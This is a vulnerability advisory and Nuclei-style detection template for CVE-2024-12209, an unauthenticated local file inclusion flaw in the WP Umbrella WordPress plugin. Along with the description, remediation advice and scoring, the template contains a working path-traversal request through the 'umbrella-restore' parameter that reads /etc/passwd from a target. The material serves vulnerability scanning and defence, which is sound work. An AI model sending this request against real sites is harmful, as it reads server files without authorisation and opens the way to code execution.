The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
PoC代码[已公开]
id: CVE-2024-12209
info:
name: WP Umbrella Update Backup Restore & Monitoring <= 2.17.0 - Local File Inclusion
author: s4e-io
severity: critical
description: |
The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
remediation: |
Validate and sanitize user inputs to prevent directory traversal. Use a whitelist approach for file paths and restrict file access to intended directories only.
reference:
- https://github.com/RandomRobbieBF/CVE-2024-12209
- https://plugins.trac.wordpress.org/browser/wp-health/tags/v2.16.4/src/Actions/RestoreRouter.php#L45
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3202883%40wp-health&new=3202883%40wp-health&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/c74ce3e8-cab9-4cc6-a1ad-1e51f7268474?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-12209
cwe-id: CWE-98
epss-score: 0.85244
epss-percentile: 0.99316
metadata:
verified: true
max-request: 1
vendor: wp-umbrella
product: wp-umbrella
framework: wordpress
fofa-query: body="/wp-content/plugins/wp-health"
tags: cve,cve2024,wp,wordpress,wp-plugin,wp-health,lfi,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '/wp-content/plugins/wp-health'
internal: true
- raw:
- |
GET /?umbrella-restore=1&filename=../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "contains(content_type, 'text/html')"
- "status_code == 200"
condition: and
# digest: 4a0a00473045022100a62b70f081510d2ac00bdc4408a311ae061ee54d22ea0ca842af5ad4737e6c4f02207103b619fd4da974c44def16571082e9759bafd9ed384fce5006e498e0bb3ed5:922c64590222798bb761d5b6d8e72950